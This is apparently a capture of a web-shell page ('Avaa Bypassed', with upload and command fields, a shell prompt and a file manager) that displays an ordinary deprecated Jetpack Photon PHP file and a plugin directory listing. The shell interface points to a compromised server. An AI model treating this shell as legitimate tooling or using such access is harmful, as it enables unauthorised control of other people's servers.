404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.147.49.19: ~ $
<?php // phpcs:ignore WordPress.Files.FileName.NotHyphenatedLowercase
/**
 * Generic functions using the Photon service.
 *
 * Some are used outside of the Photon module being active, so intentionally not within the module.
 * As photon has been moved to the image-cdn package, the functions are now also replaced by their counterparts in Image_CDN_Core in the package.
 *
 * @package automattic/jetpack
 */

use Automattic\Jetpack\Image_CDN\Image_CDN;
use Automattic\Jetpack\Image_CDN\Image_CDN_Core;

/**
 * Generates a Photon URL.
 *
 * @see https://developer.wordpress.com/docs/photon/
 *
 * @deprecated 12.2 Use Automattic\Jetpack\Image_CDN\Image_CDN_Core::cdn_url instead.
 * @param string       $image_url URL to the publicly accessible image you want to manipulate.
 * @param array|string $args An array of arguments, i.e. array( 'w' => '300', 'resize' => array( 123, 456 ) ), or in string form (w=123&h=456).
 * @param string|null  $scheme URL protocol.
 * @return string The raw final URL. You should run this through esc_url() before displaying it.
 */
function jetpack_photon_url( $image_url, $args = array(), $scheme = null ) {
	return Image_CDN_Core::cdn_url( $image_url, $args, $scheme );
}

/**
 * Parses WP.com-hosted image args to replicate the crop.
 *
 * @deprecated 12.2 Use Automattic\Jetpack\Image_CDN\Image_CDN_Core::parse_wpcom_query_args instead.
 * @param mixed  $args Args set during Photon's processing.
 * @param string $image_url URL of the image.
 * @return array|string Args for Photon to use for the URL.
 */
function jetpack_photon_parse_wpcom_query_args( $args, $image_url ) {
	return Image_CDN_Core::parse_wpcom_query_args( $args, $image_url );
}

/**
 * Sets the scheme for a URL
 *
 * @deprecated 12.2 Use Automattic\Jetpack\Image_CDN\Image_CDN_Core::cdn_url_scheme instead.
 * @param string $url URL to set scheme.
 * @param string $scheme Scheme to use. Accepts http, https, network_path.
 *
 * @return string URL.
 */
function jetpack_photon_url_scheme( $url, $scheme ) {
	_deprecated_function( __FUNCTION__, 'jetpack-12.2', 'Automattic\Jetpack\Image_CDN\Image_CDN_Core::cdn_url_scheme' );
	return Image_CDN_Core::cdn_url_scheme( $url, $scheme );
}

/**
 * Check to skip Photon for a known domain that shouldn't be Photonized.
 *
 * @deprecated 12.2 Use Automattic\Jetpack\Image_CDN\Image_CDN_Core::banned_domains instead.
 * @param bool   $skip If the image should be skipped by Photon.
 * @param string $image_url URL of the image.
 *
 * @return bool Should the image be skipped by Photon.
 */
function jetpack_photon_banned_domains( $skip, $image_url ) {
	_deprecated_function( __FUNCTION__, 'jetpack-12.2', 'Automattic\Jetpack\Image_CDN\Image_CDN_Core::banned_domains' );
	return Image_CDN_Core::banned_domains( $skip, $image_url );
}

/**
 * Jetpack Photon - Support Text Widgets.
 *
 * @deprecated 12.2
 * @access public
 * @param string $content Content from text widget.
 * @return string
 */
function jetpack_photon_support_text_widgets( $content ) {
	_deprecated_function( __FUNCTION__, 'jetpack-12.2' );
	return Image_CDN::filter_the_content( $content );
}

Filemanager

Name Type Size Permission Actions
3rd-party Folder 0755
_inc Folder 0755
css Folder 0755
extensions Folder 0755
images Folder 0755
jetpack_vendor Folder 0755
json-endpoints Folder 0755
modules Folder 0755
sal Folder 0755
src Folder 0755
vendor Folder 0755
views Folder 0755
CHANGELOG.md File 572 KB 0644
LICENSE.txt File 17.98 KB 0644
SECURITY.md File 2.45 KB 0644
class-jetpack-connection-status.php File 728 B 0644
class-jetpack-connection-widget.php File 3.29 KB 0644
class-jetpack-gallery-settings.php File 3.38 KB 0644
class-jetpack-pre-connection-jitms.php File 5.77 KB 0644
class-jetpack-recommendations-banner.php File 9.1 KB 0644
class-jetpack-stats-dashboard-widget.php File 7.77 KB 0644
class-jetpack-wizard-banner.php File 214 B 0644
class-jetpack-xmlrpc-methods.php File 8.33 KB 0644
class.frame-nonce-preview.php File 3.22 KB 0644
class.jetpack-admin.php File 19.86 KB 0644
class.jetpack-affiliate.php File 205 B 0644
class.jetpack-autoupdate.php File 9.74 KB 0644
class.jetpack-bbpress-json-api.compat.php File 220 B 0644
class.jetpack-boost-modules.php File 1.23 KB 0644
class.jetpack-cli.php File 71.41 KB 0644
class.jetpack-client-server.php File 2.79 KB 0644
class.jetpack-connection-banner.php File 13.88 KB 0644
class.jetpack-data.php File 275 B 0644
class.jetpack-gutenberg.php File 41.34 KB 0644
class.jetpack-heartbeat.php File 4.55 KB 0644
class.jetpack-idc.php File 351 B 0644
class.jetpack-modules-list-table.php File 14.79 KB 0644
class.jetpack-network-sites-list-table.php File 5.93 KB 0644
class.jetpack-network.php File 21.03 KB 0644
class.jetpack-plan.php File 4.09 KB 0644
class.jetpack-post-images.php File 31.98 KB 0644
class.jetpack-twitter-cards.php File 12.92 KB 0644
class.jetpack-user-agent.php File 25.84 KB 0644
class.jetpack.php File 227.95 KB 0644
class.json-api-endpoints.php File 82.42 KB 0644
class.json-api.php File 33.34 KB 0644
class.photon.php File 1.74 KB 0644
composer.json File 3.8 KB 0644
enhanced-open-graph.php File 4.35 KB 0644
functions.compat.php File 4.1 KB 0644
functions.cookies.php File 2.04 KB 0644
functions.global.php File 15.08 KB 0644
functions.is-mobile.php File 2.47 KB 0644
functions.opengraph.php File 17.72 KB 0644
functions.photon.php File 3.04 KB 0644
jetpack.php File 8.24 KB 0644
json-api-config.php File 338 B 0644
json-endpoints.php File 6.92 KB 0644
load-jetpack.php File 3.39 KB 0644
locales.php File 324 B 0644
readme.txt File 28.39 KB 0644
uninstall.php File 1.6 KB 0644
wpml-config.xml File 1.26 KB 0644